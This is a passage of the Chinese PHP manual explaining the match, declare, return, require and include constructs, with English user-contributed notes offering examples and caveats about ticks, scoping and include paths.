  • match 的分支不会像 switch 语句一样， 落空时执行下个 case。
  • match 表达式必须彻底列举所有情况。

match 表达式和 switch 语句类似， 逐个检测匹配分支。一开始不会执行代码。 只有在所有之前的条件不匹配主体表达式时，才会执行剩下的条件表达式。 只会执行返回的表达式所对应的匹配条件表达式。 举例：

<?php
$result = match ($x) {
foo() => ...,
$this->bar() => ..., // 如果 foo() === $x，不会执行 $this->bar()
$this->baz => beep(), // 只有 $x === $this->baz 时才会执行 beep()
// 等等
};
?>

match 表达式分支可以通过逗号分隔，包含多个表达式。 这是一个逻辑 OR，当多个分支表达式右侧相同时，就可以用这种缩写。

<?php
$result = match ($x) {
// 匹配分支：
$a, $b, $c => 5,
// 等同于以下三个分支：
$a => 5,
$b => 5,
$c => 5,
};
?>

default 模式是个特殊的条件。 当之前的条件都不匹配时，会匹配到该模式。 For example:

<?php
$expressionResult = match ($condition) {
1, 2 => foo(),
3, 4 => bar(),
default => baz(),
};
?>

Note: 多个 default 模式将会触发 E_FATAL_ERROR 错误。

match 表达式必须详尽列出所有情况。 如果主体表达式不能被任意分支条件处理， 会抛出 UnhandledMatchError。

Example #3 match 表达式存在未处理的示例

<?php
$condition = 5;

try {
match ($condition) {
1, 2 => foo(),
3, 4 => bar(),
};
} catch (\UnhandledMatchError $e) {
var_dump($e);
}
?>

以上示例会输出：

object(UnhandledMatchError)#1 (7) {
  ["message":protected]=>
  string(33) "Unhandled match value of type int"
  ["string":"Error":private]=>
  string(0) ""
  ["code":protected]=>
  int(0)
  ["file":protected]=>
  string(9) "/in/ICgGK"
  ["line":protected]=>
  int(6)
  ["trace":"Error":private]=>
  array(0) {
  }
  ["previous":"Error":private]=>
  NULL
}

使用 match 表达式处理非一致性检查

可以使用 match 表达式将 true 作为主项表达式来处理非一致性条件的情况。

Example #4 针对整数范围，使用宽泛的表达式匹配分支

<?php

$age = 23;

$result = match (true) {
$age >= 65 => 'senior',
$age >= 25 => 'adult',
$age >= 18 => 'young adult',
default => 'kid',
};

var_dump($result);
?>

以上示例会输出：

string(11) "young adult"

Example #5 针对字符串内容，使用宽泛的表达式匹配分支

<?php

$text = 'Bienvenue chez nous';

$result = match (true) {
str_contains($text, 'Welcome') || str_contains($text, 'Hello') => 'en',
str_contains($text, 'Bienvenue') || str_contains($text, 'Bonjour') => 'fr',
// ...
};

var_dump($result);
?>

以上示例会输出：

string(2) "fr"

User Contributed Notes

thomas at zuschneid dot de 27-Feb-2023 03:04
While match allows chaining multiple conditions with ",", like:
<?php
$result = match ($source) {
    cond1, cond2 => val1,
    default => val2
};
?>
it seems not valid to chain conditions with default, like:
<?php
$result = match ($source) {
    cond1 => val1,
    cond2, default => val2
};
?>
Sbastien 12-Feb-2023 02:46
I use match instead of storing PDOStatement::rowCount() result and chaining if/elseif conditions or use the ugly switch/break :

<?php

$sql = <<<SQL
    INSERT INTO ...
    ON DUPLICATE KEY UPDATE ...
    SQL;

$upkeep = $pdo->prepare($sql);

$count_untouched = 0;
$count_inserted = 0;
$count_updated = 0;

foreach ($data as $record) {
    $upkeep->execute($record);
    match ($upkeep->rowCount()) {
        0 => $count_untouched++,
        1 => $count_inserted++,
        2 => $count_updated++,
    };
}

echo "Untouched rows : {$count_untouched}\r\n";
echo "Inserted rows : {$count_inserted}\r\n";
echo "Updated rows : {$count_updated}\r\n";
php at joren dot dev 11-Mar-2022 11:27
If you want to execute multiple return expressions when matching a conditional expression, you can do so by stating all return expressions inside an array.

<?php
    $countries = ['Belgium', 'Netherlands'];
    $spoken_languages = [
        'Dutch' => false,
        'French' => false,
        'German' => false,
        'English' => false,
    ];

    foreach ($countries as $country) {
        match($country) {
            'Belgium' => [
                $spoken_languages['Dutch'] = true,
                $spoken_languages['French'] = true,
                $spoken_languages['German'] = true,
            ],
            'Netherlands' => $spoken_languages['Dutch'] = true,
            'Germany' => $spoken_languages['German'] = true,
            'United Kingdom' => $spoken_languages['English'] = true,
        };
    }

    var_export($spoken_languages);
    // array ( 'Dutch' => true, 'French' => true, 'German' => true, 'English' => false, )

?>
mark at manngo dot net 12-Feb-2022 06:08
While you can't polyfill a language construct, you can mimic the basic behaviour with a simple array.

Using example 2 above:

<?php
    $food = 'apple';
    $return_value = match ($food) {
        'apple' => 'This food is an apple',
        'bar' => 'This food is a bar',
        'cake' => 'This food is a cake',
    };
    print $return_value;
?>

... you can get something similar with:

<?php
    $food = 'apple';
    $return_value = [
        'apple' => 'This food is an apple',
        'bar' => 'This food is a bar',
        'cake' => 'This food is a cake',
    ][$food];
    print $return_value;
?>
manoj904378 at gmail dot com 24-Dec-2021 09:32
When & Where should you use?  that's most important part of match

<?php
    $Error_Code=(int) 400;
    $message=(string) match($Error_Code){
        200=>"OK",
        400=>"Bad Request",
        401=>"Unauthorized",
        403=>"Forbidden",
        404=>"Not Found",
        default=>"Unknown Error"
    };
    var_dump($message); // string(11) "Bad Request"
?>
tm 28-Oct-2021 03:02
If you are using a match expression for non-identity checks as described above make sure whatever you are using is actually returning `true` on success.

Quite often you rely on truthy vs. falsy when using if conditions and that will not work for match (for example `preg_match`). Casting to bool will solve this issue.
Anonymous 06-Sep-2021 10:37
<?php
function days_in_month(string $month, $year): int
{
    return match(strtolower(substr($month, 0, 3))) {
        'jan' => 31,
        'feb' => is_leap($year) ? 29 : 28,
        'mar' => 31,
        'apr' => 30,
        'may' => 31,
        'jun' => 30,
        'jul' => 31,
        'aug' => 31,
        'sep' => 30,
        'oct' => 31,
        'nov' => 30,
        'dec' => 31,
        default => throw new InvalidArgumentException("Bogus month"),
    };
}
?>

can be more concisely written as

<?php
function days_in_month(string $month, $year): int
{
    return match(strtolower(substr($month, 0, 3))) {
        'apr', 'jun', 'sep',  'nov'  => 30,
        'jan', 'mar', 'may', 'jul', 'aug',  'oct', 'dec'  => 31,
        'feb' => is_leap($year) ? 29 : 28,
        default => throw new InvalidArgumentException("Bogus month"),
    };
}
?>
darius dot restivan at gmail dot com 05-Apr-2021 09:43
This will allow for a nicer FizzBuzz solution:

<?php

function fizzbuzz($num) {
    print match (0) {
        $num % 15 => "FizzBuzz" . PHP_EOL,
        $num % 3  => "Fizz" . PHP_EOL,
        $num % 5  => "Buzz" . PHP_EOL,
        default   => $num . PHP_EOL,
    };
}

for ($i = 0; $i <=100; $i++)
{
    fizzbuzz($i);
}
Hayley Watson 09-Dec-2020 12:50
As well as being similar to a switch, match expressions can be thought of as enhanced lookup tables — for when a simple array lookup isn't enough without extra handling of edge cases, but a full switch statement would be overweight.

For a familiar example, the following
<?php

function days_in_month(string $month): int
{
    static $lookup = [
    'jan' => 31,
    'feb' => 0,
    'mar' => 31,
    'apr' => 30,
    'may' => 31,
    'jun' => 30,
    'jul' => 31,
    'aug' => 31,
    'sep' => 30,
    'oct' => 31,
    'nov' => 30,
    'dec' => 31
    ];

    $name = strtolower(substr($name, 0, 3));

    if(isset($lookup[$name])) {
        if($name == 'feb') {
            return is_leap($year) ? 29 : 28;
        } else {
            return $lookup[$name];
        }
    }
    throw new InvalidArgumentException("Bogus month");
}

?>

with the fiddly stuff at the end, can be replaced by

<?php
function days_in_month(string $month): int
{
    return match(strtolower(substr($month, 0, 3))) {
        'jan' => 31,
        'feb' => is_leap($year) ? 29 : 28,
        'mar' => 31,
        'apr' => 30,
        'may' => 31,
        'jun' => 30,
        'jul' => 31,
        'aug' => 31,
        'sep' => 30,
        'oct' => 31,
        'nov' => 30,
        'dec' => 31,
        default => throw new InvalidArgumentException("Bogus month"),
    };
}
?>

Which also takes advantage of "throw" being handled as of PHP 8.0 as an expression instead of a statement.


declare

(PHP 4, PHP 5, PHP 7, PHP 8)

declare 结构用来设定一段代码的执行指令。declare 的语法和其它流程控制结构相似：

declare (directive)
    statement

directive 部分允许设定 declare 代码段的行为。目前只认识三个指令：ticks（更多信息见下面 ticks 指令）、 encoding（更多信息见下面 encoding 指令）、 strict_types 指令 (更多信息见类型声明页面 严格类型 章节)。

因为本指令是在文件编译时处理的，所以指令只接受字面量的值。 无法使用变量和常量。下面为你演示：

<?php
// 这样是有效的：
declare(ticks=1);

// 这样是无效的：
const TICK_VALUE = 1;
declare(ticks=TICK_VALUE);
?>

declare 代码段中的 statement 部分将被执行——怎样执行以及执行中有什么副作用出现取决于 directive 中设定的指令。

declare 结构也可用于全局范围，影响到其后的所有代码（但如果有 declare 结构的文件被其它文件包含，则对包含它的父文件不起作用）。

<?php
// 两者相等：

// 可以这样用：
declare(ticks=1) {
// 这里写完整的脚本
}

// 也可以这样用：
declare(ticks=1);
// 这里写完整的脚本
?>

Ticks

Tick（时钟周期）是一个在 declare 代码段中解释器每执行 N 条可计时的低级语句就会发生的事件。N 的值是在 declare 中的 directive 部分用 ticks=N 来指定的。

不是所有语句都可计时。通常条件表达式和参数表达式都不可计时。

在每个 tick 中出现的事件是由 register_tick_function() 来指定的。更多细节见下面的例子。注意每个 tick 中可以出现多个事件。

Example #1 Tick 的用法示例

<?php

declare(ticks=1);

// 每次 tick 事件都会调用该函数
function tick_handler()
{
echo "tick_handler() called\n";
}

register_tick_function('tick_handler'); // 引起 tick 事件

$a = 1; // 引起 tick 事件

if ($a > 0) {
$a += 2; // 引起 tick 事件
print $a; // 引起 tick 事件
}

?>

参见 register_tick_function() 和 unregister_tick_function()。

Encoding

可以用 encoding 指令来对每段脚本指定其编码方式。

Example #2 对脚本指定编码方式

<?php
declare(encoding='ISO-8859-1');
// 在这里写代码
?>

Caution

当和命名空间结合起来时 declare 的唯一合法语法是 declare(encoding='...');，其中 ... 是编码的值。而 declare(encoding='...') {} 将在与命名空间结合时产生解析错误。

参见 zend.script_encoding。

User Contributed Notes

dewi at dewimorgan dot com 15-Nov-2021 05:00
While you cannot conditionally declare ticks in a single source file, as the `declare()` is processed even within the branch of an `if()` that does not run, you can work around this by placing it within a separate file, and conditionally including that file, like so:

<?php
if (function_exists('pcntl_async_signals')) {
    pcntl_async_signals(true);
} else {
    require_once('declareTicks.php');
}
?>

Then in `declareTicks.php` you'd have just:

<?php
    declare(ticks=1);
?>

This allows you to avoid the performance impact of a low tick value in systems which support `pcntl_async_signals()`.
ohcc at 163 dot com 30-Dec-2019 04:59
It's possible to set directives at one time if every directive is supported.
<?php
    declare(strict_types=1, encoding='UTF-8');
?>
digitalaudiorock at gmail dot com 10-Mar-2019 09:10
Regarding my previous comment as to the change in scope of declare(ticks=1) between 5.6 and 7.x, I intended to mention another example of the affect this can have on signal handlers:

If your script uses declare(ticks=1) and assigns handlers, in 5.6 signals will get caught and call the handler even when the code that is running is in an included file (where the included file doesn't have the declaration). However in 7.x the signal wouldn't get caught until the code returns to the main script.

The best solution to that is to use pcntl_async_signals(true) when it's available, which will allow the signals to get caught regardless of what file the code happens to be in.
digitalaudiorock at gmail dot com 09-Mar-2019 09:14
A few important things to note for anyone using this in conjunction with signal handlers:

If anyone is trying to optionally use either pcntl_async_signals() when available (PHP >= 7.1) or ticks for older versions, this is not possible...at least not in a way that does NOT enable ticks for newer PHP versions. This is because there is simply no way to conditionally declare ticks. For example, the following will "work" but not in the way you might expect:

<?php
if (function_exists('pcntl_async_signals')) {
    pcntl_async_signals(true);
} else {
    declare(ticks=1);
}
?>

While signal handlers will work with this for old and new version, ticks WILL be enabled even in the case where pcntl_async_signals exists, simply because the declare statement exists. So the above is functionally equivalent to:

<?php
if (function_exists('pcntl_async_signals')) pcntl_async_signals(true);
declare(ticks=1);
?>

Another thing to be aware of is that the scoping of this declaration changed a bit from PHP 5.6 to 7.x...actually it was corrected apparently as noted here:

http://php.net/manual/en/function.register-tick-function.php#121204

This can cause some very confusing behavior. One example is with the pear/System_Daemon module. With PHP 5.6 that will work with a SIGTERM handler even if the script using it doesn't itself use declare(ticks=1), but does not work in PHP 7 unless the script itself has the declaration. Not only does the handler not get called, but the signal does nothing at all, and the script doesn't exit.

A side note regarding ticks that's annoyed me for some time: As if there wasn't enough confusion around all this, the Internet is full of false rumors that ticks were deprecated and are being removed, and I believe they all started here:

http://www.hackingwithphp.com/4/21/0/the-declare-function-and-ticks

Despite a very obscure author's note at the very end of the page saying he got that wrong (that even I just noticed), the first very prominent sentence of the article still says this, and that page is near the top of any Google search.
ohcc at 163 dot com 27-May-2018 02:54
Using a directive that is not supported by current version of PHP will generate a warning like:

Warning: Unsupported declare 'strict_types' in D:\Server\wuxiancheng.cn\index.php on line 2

You CAN'T prepend an @ sign to the declare construct to supress that error message.

@declare(strict_types=1);

The above code will lead to a Parse error like:

Parse error: syntax error, unexpected 'declare' (T_DECLARE) in D:\Server\wuxiancheng.cn\index.php on line 2
ja2016 at wir dot pl 27-Aug-2017 04:38
Don't use uft-8 encoding with BOM. Then fatal error occurs ALWAYS. Substitute it with utf-8 without BOM.

---

*BOM*
<?php
declare(strict_types=1);
//Fatal error: strict_types declaration must be the very first statement in the script
wapmorgan at gmail dot com 01-Aug-2017 08:49
If you fork'ed (with pcntl_fork) after you've used `declare`, you need to do it again in child thread.

declare(ticks=1);
$pid = pcntl_fork();
if ($pid === 0) {
    declare(ticks=1);
} else {
    // code ..
}
Ionut 10-Feb-2017 06:36
I haven't found this written in the doc: when using declare in the global context, it has to be the first statement in the script, before any other output.

This works:

<?php
declare(strict_types=1);
function sum(int $a, int $b): int {
    return 5.78;
}
# ... but fails when calling the function
?>

This doesn't work:

<html>
<body>
<?php
declare(strict_types=1);
function sum(int $a, int $b): int {
    return 5.78;
}
# PHP Fatal error:  strict_types declaration must be the very first statement in the script [...]
?>
Kubo2 06-Apr-2015 05:13
Note that in PHP 7 <?php declare(encoding='...'); ?> throws an E_WARNING if Zend Multibyte is turned off.
php at niekbosch dot nl 18-Feb-2014 04:17
Basically 'declare( encoding = .... );' overrides the zend.script_encoding configuration option (as set in php.ini). However, keep in mind that:

* the file encoding must be compatible (at least in the ASCII range of characters) to the zend.script_encoding setting. If you set 'zend.script_encoding' to UTF-8 and save the file in UTF-16, PHP will not be able to interpret the file, let alone the declare statement. As long as you use ASCII compatible encodings (i.e. ISO-8859-1(5), UTF-8 etc) for both the file encoding as the zend.script_encoding, you should be fine. (However, I have not experimented with adding non-ascii characters in comments above the declare statement).

* PHP string literals are converted from your source code encoding (either set with the declare statement or else according to zend.script_encoding) to the mbstring.internal_encoding as set in your php.ini (even if you change the setting using mb_internal_encoding). As an example:

php.ini:
mbstring.internal_encoding = UTF-8

test.php:
<?php
declare(encoding = 'ISO-8859-15');
mb_internal_encoding( 'ISO-8859-15' );
echo 'a?a?' . "\n";
?>

This will still output the string UTF-8 encoded; in a terminal/browser with encoding 'ISO-8859-15' the string will look (something) like this: a?�a??
php dot net at e-z dot name 17-Oct-2013 06:34
you can register multiple tick functions:

<?PHP
function a() { echo "a\n"; }
function b() { echo "b\n"; }

register_tick_function('a');
register_tick_function('b');
register_tick_function('b');
register_tick_function('b');

?>

will output on every tick:
a
b
b
b
sawyerrken at gmail dot com 09-Aug-2013 06:31
In the following example:

<?php
function handler(){
    print "hello <br />";
}

register_tick_function("handler");

declare(ticks = 1){
    $b = 2;
} //closing curly bracket tickable
?>

"Hello" will be displayed twice because the closing curly bracket is also tickable.

One may wonder why the opening curly bracket is not tickable if the closing is tickable. This is because the instruction for PHP to start ticking is given by the opening curly bracket so the ticking starts immediately after it.
Anonymous 27-Sep-2010 02:10
It's amazing how many people didn't grasp the concept here. Note the wording in the documentation. It states that the tick handler is called every n native execution cycles. That means native instructions, not including system calls (i'm guessing). This can give you a very good idea if you need to optimize a particular part of your script, since you can measure quite effectively how many native instructions are in your actual code.

A good profiler would take that into account, and force you, the developer, to include calls to the profiler as you're entering and leaving every function. That way you'd be able to keep an eye on how many cycles it took each function to complete. Independent of time.

That is extremely powerful, and not to be underestimated. A good solution would allow aggregate stats, so the total time in a function would be counted, including inside called functions.
markandrewslade at dontspamemeat dot gmail 13-Feb-2009 09:06
Note that the two methods for calling declare are not identical.

Method 1:

<?php
// Print "tick" with a timestamp and optional suffix.
function do_tick($str = '') {
    list($sec, $usec) = explode(' ', microtime());
    printf("[%.4f] Tick.%s\n", $sec + $usec, $str);
}
register_tick_function('do_tick');

// Tick once before declaring so we have a point of reference.
do_tick('--start--');

// Method 1
declare(ticks=1);
while(1) sleep(1);

/* Output:
[1234544435.7160] Tick.--start--
[1234544435.7161] Tick.
[1234544435.7162] Tick.
[1234544436.7163] Tick.
[1234544437.7166] Tick.
*/

?>

Method 2:
<?php
// Print "tick" with a timestamp and optional suffix.
function do_tick($str = '') {
    list($sec, $usec) = explode(' ', microtime());
    printf("[%.4f] Tick.%s\n", $sec + $usec, $str);
}
register_tick_function('do_tick');

// Tick once before declaring so we have a point of reference.
do_tick('--start--');

// Method 2
declare(ticks=1) {
    while(1) sleep(1);
}

/* Output:
[1234544471.6486] Tick.--start--
[1234544472.6489] Tick.
[1234544473.6490] Tick.
[1234544474.6492] Tick.
[1234544475.6493] Tick.
*/
?>

Notice that when using {} after declare, do_tick wasn't auto-called until about 1 second after we entered the declare {} block.  However when not using the {}, do_tick was auto-called not once but twice immediately after calling declare();.

I'm assuming this is due to how PHP handles ticking internally.  That is, declare() without the {} seems to trigger more low-level instructions which in turn fires tick a few times (if ticks=1) in the act of declaring.
aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 12:06
The scope of the declare() call if used without a block is a little unpredictable, in my experience. It appears that if placed in a method or function, it may not apply to the calls that ensue, like the following:

<?php
function a()
{
   declare(ticks=2);
   b();
}

function b()
{
   // The declare may not apply here, sometimes.
}
?>

So, if all of a sudden the signals are getting ignored, check this. At the risk of losing the ability to make a mathematical science out of placing a number of activities at varying durations of ticks like many people have chosen to do, I've found it simple to just put this at the top of the code, and just make it global.
fok at nho dot com dot br 07-Jul-2003 06:45
This is a very simple example using ticks to execute a external script to show rx/tx data from the server

<?php

function traf(){
  passthru( './traf.sh' );
  echo "<br />\n";
  flush(); // keeps it flowing to the browser...
  sleep( 1 );
}

register_tick_function( "traf" );

declare( ticks=1 ){
  while( true ){}   // to keep it running...
}

?>

contents of traf.sh:
# Shows TX/RX for eth0 over 1sec
#!/bin/bash

TX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`
sleep 1
TX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`

echo -e "TX: $[ $TX2 - $TX1 ] bytes/s \t RX: $[ $RX2 - $RX1 ] bytes/s"
#--= the end. =--


return

(PHP 4, PHP 5, PHP 7, PHP 8)

return 将程序控制返还给调用模块。 将在调用模块中执行的下一句表达式中继续。

如果在一个函数中调用 return 语句，将立即结束此函数的执行并将它的参数作为函数的值返回。return 也会终止 eval() 语句或者脚本文件的执行。

如果在全局范围中调用，则当前脚本文件中止运行。如果当前脚本文件是被 include 的或者 require 的，则控制交回调用文件。此外，如果当前脚本是被 include 的，则 return 的值会被当作 include 调用的返回值。如果在主脚本文件中调用 return，则脚本中止运行。如果当前脚本文件是在 php.ini 中的配置选项 auto_prepend_file 或者 auto_append_file 所指定的，则此脚本文件中止运行。

更多信息见返回值。

Note: 注意既然 return 是语言结构而不是函数，因此其参数没有必要用括号将其括起来，也不推荐这样用。

Note: 如果没有提供参数，则一定不能用括号，此时返回 null。如果调用 return 时加上了括号却又没有参数会导致解析错误。

自 PHP 7.1.0 起，如果函数中声明的返回类型是 void 而带了返回的参数，将导致 E_COMPILE_ERROR，相反声明了返回类型而未带参数也会同样导致该错误。

User Contributed Notes

J.D. Grimes 25-Jun-2013 08:11
Note that because PHP processes the file before running it, any functions defined in an included file will still be available, even if the file is not executed.

Example:

a.php
<?php
include 'b.php';

foo();
?>

b.php
<?php
return;

function foo() {
     echo 'foo';
}
?>

Executing a.php will output "foo".
warhog at warhog dot net 18-Dec-2005 12:28
for those of you who think that using return in a script is the same as using exit note that: using return just exits the execution of the current script, exit the whole execution.

look at that example:

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
return;
?>

(executing a.php:) will echo "ba".

whereas (b.php modified):

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
exit;
?>

(executing a.php:) will echo "b".


require

(PHP 4, PHP 5, PHP 7, PHP 8)

require 和 include 几乎完全一样，除了处理失败的方式不同之外。require 在出错时产生 E_COMPILE_ERROR 级别的错误。换句话说将导致脚本中止而 include 只产生警告（E_WARNING），脚本会继续运行。

参见 include 文档了解详情。

User Contributed Notes

osheros at hotmail dot com 25-Aug-2022 10:34
When using an include file to define one or more global variables (to avoid having to redefine them in multiple files), make sure you're referencing the same variable.

[global.php]
   $app_dir = "/app/path/here";

[main.php]
include "global.php";

/* the following obviously won't work but hopefully I can save somebody else hours trying to figure out why their global include isn't working */

echo $app_folder;
Marcel Baur 27-Jul-2021 09:08
If your included file returns a value, you can get it as a result from require(), i.e.

foo.php:
<?php
return "foo";
?>

$bar = require("foo.php");
echo $bar; // equals to "foo"
phpDev a t eSurfers_dot_ com 25-Sep-2016 03:19
I didn't find mention that calling return from inside an required file is different than calling return from inside an included file.

return "aaa"; if called in the global scope of an included file will terminate the inclusion and return control to the main file givin "aaa" as a result of the include statement itself.

As far as I have tested (PHP 5.6.10) this does not apply to require
dank at kegel dot com 19-Jul-2015 05:46
PHP's require and include seem to differ from C's include in another way: they can't be used in the middle of an expression.  e.g.

$ more foo1.php foo2.php
::::::::::::::
foo1.php
::::::::::::::
<?php
print "hello"
.
#"there"
require 'foo2.php';
. "\n";
?>
::::::::::::::
foo2.php
::::::::::::::
"there"
$ php foo1.php
PHP Parse error:  syntax error, unexpected '.' in foo1.php on line 6

So php's include operates only on complete statements, whereas c's include operates on bytes of source code.
theunis dot botha1 at gmail dot com 11-Sep-2014 11:33
Just for those who may wonder about receiving E_WARNING (in custom error handlers) - PHP generates an E_WARNING when require or require_once fails - and before control returns to your script, it generates an E_COMPILE_ERROR.

So when require() or require_once() fails - don't be surprised to see two messages in your logs (if you have your logging setup this way) - once for the E_WARNING caught by your custom error handler, and once for getting the error from error_get_last() in your shutdown function (which is the actual E_COMPILE_ERROR you were expecting)
hans at ratzinger dot com 01-Sep-2013 05:25
Thanks a lot for this information Brian! This drove me nuts for many hours! This is the first information I found in the web that a white page can be caused by a require -> your script will die if the file is not found!!!
Wing 10-May-2010 05:04
if you want always include, require, open files using some 'root' folder based path you may may put file '.htroot' in 'root' folder and  use this.

while(!file_exists(getcwd()."/.htroot")){chdir('..');}

This code change current dir to dir where '.htroot' file located and everywhere you can use relative to 'root' paths.

Please avoid absent of '.htroot' file.
pedro dot evangelista at gmail dot com 16-Dec-2008 06:23
Be careful when using symbolic links, because require will search the real path of the file and not the path relative to the symbolic link.

Imagine your script A.php resides on directory /a and you create a symbolic link for it on directory /b/c.
So for the code

<?php
echo realpath("../");
?>

you might expect the directory /b, but actually you get the root directory /.

If you need to include the file /b/B.php inside your A.php, you can't use the following

<?php
require "../B.php";
?>

because it will search the root directory, not the /b directory.

Regards.
duccio at getlocal dot it 23-Nov-2008 01:37
In response to some dot user at notarealdomain dot com:

This is because require executes the code "as if" it was code written inside of the function, inheriting everything including the scope. But here there is something even more interesting:

<requiredfile.php>:
<?php

$this->a.=" is visible also under a require\n";
$b="While the variable b is a local variable of the function\n";
function FunctionUnderRequire() {
    echo "But the functions declared inside of a require called from a class function, just as when defined from inside any other function, are always global\n";
}
?>

<mainfile.php>:
<?php

error_reporting(E_ALL|E_STRICT);

class UserClass {

    protected $a;

    public function UserFunction() {
        $this->a='The class variable a';
        require 'requiredfile.php';
        echo $this->a; // "The class variable a  is visible also under a require\n"
        echo $this->b; // Notice: Undefined property: UserClass::$b
        echo $b; // "While the variable b is a local variable of the function\n"
        $this->FunctionUnderRequire(); //Fatal error!
        FunctionUnderRequire(); // "But the functions..."
    }
}

$UserClass=new UserClass;
$UserClass->UserFunction();
?>

I'm wondering if there is a method for declaring class public/private/protected functions from inside a require/include...
Peter McDonald 15-Oct-2007 09:21
re the comment by moazzamk at gmail dot com

As the manual states require and require_once as of PHP 4.02 no longer call the file if the line of code it is on should not be executed.
scott 20-Sep-2007 01:27
If you want to verify that a file can be included or required, the simplest solution I've found is just to check that the file exists.

<?php

    if(file_exists($pageContentInc)){
        require_once $pageContentInc;
    }else{
        $pageContentInc = "common/content_404.inc";
        require_once $pageContentInc;
    }
?>

Does it really need to be any harder than that?
some dot user at notarealdomain dot com 11-Jul-2007 07:58
Discovered a bit of weird behavior yesterday involving require() (using PHP 5.2.3).  If you use require() inside a function, the "globals" in the file will be local to the function.  An example of this:

test.php:
<?php
  function TestFunc()
  {
    require('test2.php');
    echo "<pre>" . print_r($GLOBALS, true) . "</pre>";
  }
?>

test2.php:
<?php
  $MyTestGlobal = Array();
?>

This happens because require is a statement that _inlines_ the target code - not a function that gets called.

To fix this, use the $GLOBALS superglobal:

test2.php:
<?php
  $GLOBALS["MyTestGlobal"] = Array();
?>
chris at chrisstockton dot org 19-Jun-2007 05:06
Remember, when using require that it is a statement, not a function. It's not necessary to write:
<?php
 require('somefile.php');
?>

The following:
<?php
require 'somefile.php';
?>

Is preferred, it will prevent your peers from giving you a hard time and a trivial conversation about what require really is.
31-Jan-2007 03:38
A note that drove me nuts for 2 days!

Be carfull if you have a newline or blank space befor your php tags in the included/required file it will read as html and outputed.

If your running your output through javascript string evaluations which would be sensitive to newlines/white spaces be carfull that the first chars in the file are the php tages eg <?php
bmessenger at 3servicesolution dot com 17-Oct-2006 01:06
// Looks like I might have a fix for some on the
// relative path issue.

if (!function_exists('bugFixRequirePath'))
{
    function bugFixRequirePath($newPath)
    {
        $stringPath = dirname(__FILE__);
        if (strstr($stringPath,":")) $stringExplode = "\\";
        else $stringExplode = "/";

        $paths = explode($stringExplode,$stringPath);

        $newPaths = explode("/",$newPath);

        if (count($newPaths) > 0)
        {
            for($i=0;$i<count($newPaths);$i++)
            {
                if ($newPaths[$i] == "..") array_pop($paths);
            }

            for($i=0;$i<count($newPaths);$i++)
            {
                if ($newPaths[$i] == "..") unset($newPaths[$i]);
            }

            reset($newPaths);

            $stringNewPath = implode($stringExplode,$paths).
                $stringExplode.implode($stringExplode,$newPaths);

                return $stringNewPath;
        }
    }
}

require_once(bugFixRequirePath("../config.php"));
gabe at websaviour dot com 13-Jul-2006 05:42
If you are experiencing a bug related to using relative paths with include or require, it may be related to a grandparent directory that is executable but not readable.  It will cause __FILE__ to return a relative path instead of the full path which it is supposed to show.  This manifests itself in interesting ways that can be seemingly unrelated.  For instance, I discovered it using the Smarty {debug} command which failed to find its template due to this issue.  Please see the following for more details:

http://bugs.php.net/bug.php?id=34552
http://shiftmanager.net/~kurt/test/
Inc 31-May-2006 08:35
I have found a problem when I try to access a php file via require($class_directory)

// # $class_directory contain a long full path and dot into the last folder.
// # $class_directory = "/var/.../app/system/plugintoto_1.0/class_plugintoto_1.0.php";

// dot ('.') and minus ('-') are not accepted in require !
tjeerd 11-May-2006 06:41
When using symbolic links with PHP, specify a dotslash './page.php' path to ensure that PHP is looking in the right directory with nested requires:

E.g. when the required actual page1.php contains other require statements to, say page2.php, PHP will search the path that the symbolic link points to, instead of the path where the symbolic link lives. To let PHP find the other page2.php in the path of the symbolic link, a require('./page2.php'); statement will solve the puzzle.
webmaster at netgeekz dot net 24-Feb-2006 09:34
I have learnt to manipulate this code into an effecitve and easy to use form. I use it with require_once, but it could be used for require.

require_once($_SERVER['DOCUMENT_ROOT'].'/includes/top.php');

This mainly jumps back to the servers document root and then begins to enter the directories defined until it finds the file. In this case it would go back to the root of the server, or whatever your document root is, and then enter includes. there it would search for the top.php file. Simple to use, yet effective...espcially for people like me who re-use code or move files to different directories. I don't have to fix the includes, because they all work the same way.
dave at davidhbrown dot us 22-Jan-2006 12:08
re: danielm at unb dot br...

$_SERVER['DOCUMENT_ROOT'] is very useful, but it is not available with all web servers. Apache has it; IIS doesn't.

I use the following to make my PHP applications work in more situations:
<?php
if (!defined("BASE_PATH")) define('BASE_PATH', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : substr($_SERVER['PATH_TRANSLATED'],0, -1*strlen($_SERVER['SCRIPT_NAME'])));
?>

...but even that gets tripped up by symlinks to different mount points, etc. You could substitute realpath($_SERVER['PATH_TRANSLATED']), but that function has been reported not to work on some (Windows) servers. One could use the PATH_TRANSLATED for both servers, but I figure if Apache is going to tell me exactly what I want to know, I should listen.
richardbrenner(-at- )gmx(-)at 07-Apr-2005 01:58
If you use relativ paths in a php script (file A) that can be required by another php script (file B), be aware that the relativ paths in file A will be relativ to the directory, where file B is stored.
You can use the following syntax in file A, to be sure that the paths are relativ to the directory of file A:

<?
require(dirname(__FILE__)."/path/relative/file_to_include.php");
?>

Greetings,
Richard
10-Feb-2005 10:29
Note when calling any require or include function, that the call will block if the script given as the parameter is excecuting.
Because of this one should be careful when using blocking functions like sleep() in a script which is included by another.
danielm at unb dot br 21-Nov-2004 11:50
if you want to include files with an absolut path reference, you can use:

require ($_SERVER["DOCUMENT_ROOT"]."/path/to/file.php");

this way you can organize your files in subdirectories trees.


include

(PHP 4, PHP 5, PHP 7, PHP 8)

include 表达式包含并运行指定文件。

以下文档也适用于 require。

被包含文件先按参数给出的路径寻找，如果没有给出目录（只有文件名）时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条 E_WARNING ；这一点和 require 不同，后者会发出一个 E_ERROR 。

注意如果文件无法访问， include 和 require 在分别发出最后的 E_WARNING 或 E_ERROR 之前，都会发出额外一条 E_WARNING。

